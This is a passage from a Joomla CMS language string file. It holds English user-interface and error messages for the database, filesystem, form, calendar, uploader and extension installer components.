a component." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="A menu should contain only one Default home." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="A first level menu item alias cannot be 'component'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="A first level menu item alias cannot be '%s' because '%s' is a sub-folder of your joomla installation folder." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :move failed - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="Category must have a title" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="Extension must have a title" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="Module must have a title" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s cannot be negative" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="No rows selected." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Table %s not supported. File not found." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Null primary key not allowed." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown Failed - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp Failed - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Please enter a user name." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Please enter your name." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publish failed - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :rebuild Failed - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath Failed - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reorder failed - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :reorder update the row %s failed - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Root node not found." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="The asset_id field could not be updated" JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :store failed
            %2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="Usergroup must have a title" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="Usergroup title already exists. Title must be unique with the same parent." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Cannot use this user name" JLIB_DATABASE_ERROR_USERNAME_INUSE="User name in use" JLIB_DATABASE_ERROR_VALID_AZ09="Please enter a valid username. No spaces, at least %d characters and must not contain the following characters: < > \ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Please enter a valid email address." JLIB_DATABASE_ERROR_VIEWLEVEL="Viewlevel must have a title" JLIB_DATABASE_FUNCTION_NOERROR="DB function reports no errors" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Unable to load document class" JLIB_ENVIRONMENT_SESSION_EXPIRED="Your session has expired. Please log in again." JLIB_ERROR_INFINITE_LOOP="Infinite loop detected in JError" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: Event handler not recognised. Handler: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 Not Supported" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Unable to read archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Unable to write archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Unable to write file (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib Not Supported" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Unable to read archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Unable to write archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Unable to write file (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Unable to read archive (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib Not Supported" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Unable to read archive (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Get ZIP Information failed" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Unable to read entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Unable to open archive" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Invalid ZIP data" JLIB_FILESYSTEM_STREAM_FAILED="Failed to register string stream" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Unknown Archive type" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Unable to load archive" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copy: Cannot find or read file: $%s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copy(%1$s, %2$s): %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Copy failed" JLIB_FILESYSTEM_DELETE_FAILED="Failed deleting %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Cannot find source file" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :move: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Rename failed" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :read: Unable to open file: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :write(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile: :upload: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Warning: Failed to change file permissions!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Warning: Failed to move file!" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Cannot find source folder" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="Folder already exists" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Unable to create target folder" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Unable to open source folder" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Infinite loop detected" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="Path not in open_basedir paths" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Could not create directory" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="You can not delete a base directory." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: Could not delete folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Rename failed: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Failed to get file size. This may not work for all streams!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="File not open" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Filename not set" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Warning: No data written" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Failed to open writer: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Failed to open reader: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Not an uploaded file!" JLIB_FORM_BUTTON_CLEAR="Clear" JLIB_FORM_BUTTON_SELECT="Select" JLIB_FORM_CHANGE_IMAGE="Change image" JLIB_FORM_CHANGE_IMAGE_BUTTON="Change Image Button" JLIB_FORM_CHANGE_USER="Select User" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="Extension attribute is empty in the category field" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Unknown element type: %s" JLIB_FORM_ERROR_NO_DATA="No data" JLIB_FORM_ERROR_VALIDATE_FIELD="Invalid xml field" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="XML file did not load" JLIB_FORM_INVALID_FORM_OBJECT="Invalid Form Object: :%s" JLIB_FORM_INVALID_FORM_RULE="Invalid Form Rule: :%s" JLIB_FORM_MEDIA_PREVIEW_ALT="Selected image" JLIB_FORM_MEDIA_PREVIEW_EMPTY="No image selected." JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Selected image" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Preview" JLIB_FORM_SELECT_USER="Select a User" JLIB_FORM_VALIDATE_FIELD_INVALID="Invalid field: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Field required: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Validation Rule missing: %s" JLIB_FORM_VALUE_CACHE_APC="Alternative PHP Cache" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="File" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_WINCACHE="Windows Cache" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Alternative PHP Cache" JLIB_FORM_VALUE_SESSION_DATABASE="Database" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="None" JLIB_FORM_VALUE_SESSION_WINCACHE="Windows Cache" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Universal Time, Coordinated (UTC)" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Table" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="ACL Summary Table" JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this article. Click the tabs above to customise these settings by action." JLIB_HTML_ACCESS_SUMMARY="Summary" JLIB_HTML_ADD_TO_ROOT="Add to root" JLIB_HTML_ADD_TO_THIS_MENU="Add to this menu" JLIB_HTML_BATCH_ACCESS_LABEL="Set Access Level" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Not making a selection will keep the original access levels when processing." JLIB_HTML_BATCH_COPY="Copy" JLIB_HTML_BATCH_LANGUAGE_LABEL="Set Language" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Not making a selection will keep the original language when processing." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Keep original Language -" JLIB_HTML_BATCH_MENU_LABEL="Select Category for Move/Copy" JLIB_HTML_BATCH_MOVE="Move" JLIB_HTML_BATCH_NOCHANGE="- Keep original Access Levels -" JLIB_HTML_BATCH_USER_LABEL="Set User" JLIB_HTML_BATCH_USER_LABEL_DESC="Not making a selection will keep the original user when processing." JLIB_HTML_BATCH_USER_NOCHANGE="- Keep original User -" JLIB_HTML_BATCH_USER_NOUSER="No User" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="About the Calendar" JLIB_HTML_BEHAVIOR_CLOSE="Close" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Date selection:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Display %s first" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Drag to move" JLIB_HTML_BEHAVIOR_GO_TODAY="Go to today" JLIB_HTML_BEHAVIOR_GREEN="Green" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Hold mouse button on any of the above buttons for faster selection." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Use the < and > buttons to select month\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Click to move to the next month. Click and hold for a list of the months." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Click to move to the next year. Click and hold for a list of years." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Click to move to the previous month. Click and hold for a list of the months." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Click to move to the previous year. Click and hold for a list of years." JLIB_HTML_BEHAVIOR_SELECT_DATE="Select a date." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Shift-)Click or Drag to change the value." JLIB_HTML_BEHAVIOR_TIME="Time:" JLIB_HTML_BEHAVIOR_TODAY="Today" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%a, %b %e" JLIB_HTML_BEHAVIOR_WK="wk" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Use the « and » buttons to select year\n" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Invalid Server Response" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Transfer Error" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Security Error" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Upload Completed." JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="File Successfully Uploaded." JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="An Error Occurred: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="All Files (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Overall Progress {total}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Upload Files" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Remove" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Remove Title" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Current File: {name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Current Progress" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="File Error" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="File Already Exists" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Too Many Files" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="Total Upload Size Too Large" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="File is Too Big" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="File is Too Small" JLIB_HTML_BUTTON_BASE_CLASS="Could not load button base class." JLIB_HTML_BUTTON_NO_LOAD="Could not load button %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Button not defined for type = %s" JLIB_HTML_CALENDAR="Calendar" JLIB_HTML_CHECKED_OUT="Checked out" JLIB_HTML_CHECKIN="Checkin" JLIB_HTML_CLOAKING="This email address is being protected from spambots. You need JavaScript enabled to view it." JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago" JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago" JLIB_HTML_EDITOR_CANNOT_LOAD="Cannot load the editor" JLIB_HTML_END="End" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Function not supported." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s not found in file." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s not supported. File not found." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s not supported." JLIB_HTML_MOVE_DOWN="Move Down" JLIB_HTML_MOVE_UP="Move Up" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="There are no parameters for this item" JLIB_HTML_NO_RECORDS_FOUND="No record found" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Page %s of %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Please first make a selection from the list" JLIB_HTML_PUBLISH_ITEM="Publish Item" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Published, but has Expired" JLIB_HTML_PUBLISHED_FINISHED="Finish: %s" JLIB_HTML_PUBLISHED_ITEM="Published and is Current" JLIB_HTML_PUBLISHED_PENDING_ITEM="Published, but is Pending" JLIB_HTML_PUBLISHED_START="Start: %s" JLIB_HTML_RESULTS_OF="Results %s - %s of %s" JLIB_HTML_SAVE_ORDER="Save Order" JLIB_HTML_SELECT_STATE="Select State" JLIB_HTML_START="Start" JLIB_HTML_UNPUBLISH_ITEM="Unpublish Item" JLIB_HTML_VIEW_ALL="View All" JLIB_HTML_SETDEFAULT_ITEM="Set default" JLIB_HTML_UNSETDEFAULT_ITEM="Unset default" JLIB_INSTALLER_ABORT="Aborting language installation: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="Extension is already installed" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Error building Admin Menus" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Component Install: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Component Install: Custom install routine failure" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Component Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Component Install: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Component Install: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Component Install: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Component Install: SQL error file %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Component Update: The XML file did not contain an administration element" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Component Update: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Component Update: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Component Update: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Component Update: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Component Update: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Component Update: SQL error file %s" JLIB_INSTALLER_ABORT_DEBUG="Installation unexpectedly terminated:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Unable to detect manifest file" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="Extension is not valid" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Files Install: Could not copy setup file." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Files Install: Custom install routine failure" JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Files Install: Failed to find source directory: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Files %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Files Install: Another extension with same name already exists." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Files Update: SQL error file %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Library Install: Library already installed" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Library Install: Could not copy setup file." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Library Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Library Install: No library file specified" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Library Install: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Failed to load extension details" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Method not supported for this extension type" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Method not supported for this extension type: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Module Install: Could not copy setup file." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Module %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Module Install: Custom install routine failure" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Module %1$s: Another module is already using directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Module Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Module %s: No module file specified" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Module %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Module %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Module Uninstall: Unknown client type [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Module %1$s: Unknown client type [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="Install path does not exist" JLIB_INSTALLER_ABORT_NOUPDATEPATH="Update path does not exist" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Package Install: Could not copy setup file." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Package Install: Failed to create directory:%s " JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Package %1$s: There was an error installing an extension: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Package %s: There were no files to install!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Package %s: No package file specified" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Package Install: %s" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Plugin %1$s: Plugin %2$s already exists" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Plugin %s: Could not copy setup file." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Plugin %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Plugin Install: Custom install routine failure" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Plugin %1$s: Another plugin is already using directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Plugin %s: No plugin file specified" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Plugin %1$s: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Plugin Uninstall: SQL error file %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Refresh Manifest Cache failed: Extension is not currently installed." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Refresh Manifest Cache failed: Extension is not valid." JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Template Install: Template already installed" JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Template Install: There is already a Template using the named directory: %s. Are you trying to install the same template again?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Template Install: Could not copy setup file." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Template Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Template Install: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Template Install: Unknown client type [%s]" JLIB_INSTALLER_DEFAULT_STYLE="%s - Default" JLIB_INSTALLER_DISCOVER="Discover" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Component Discover install: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Component Install: The XML file did not contain an administration element" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Install: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Component Install: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Component Refresh manifest cache: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Could not delete the administrator menus." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Component Uninstall: Custom Uninstall script unsuccessful" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Component Uninstall: Unable to delete the component categories" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Component Uninstall: Can't uninstall. Please remove manually" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Component Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Component Uninstall: Unable to remove the component admin directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Component Uninstall: Unable to remove the component site directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Component Uninstall: Option field empty, cannot remove files" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Component Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Component Uninstall: Trying to uninstall a core component" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Update: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Component Update: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Install: Failed to create directory: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Failed to create directory [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Deprecated install format (client="_QQ_"both"_QQ_"), use package installer in future" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Error connecting to the server: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Install: Failed to copy file %1$s to %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Install: Failed to copy folder %1$s to %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Failed reading network resource: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Install: File already exists %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Files Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Files Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Files Uninstall: Could not load extension entry" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Files Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Files Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="File Uninstall: Trying to uninstall core files" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Another extension is already using directory [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Language Discover install: Failed to store language details" 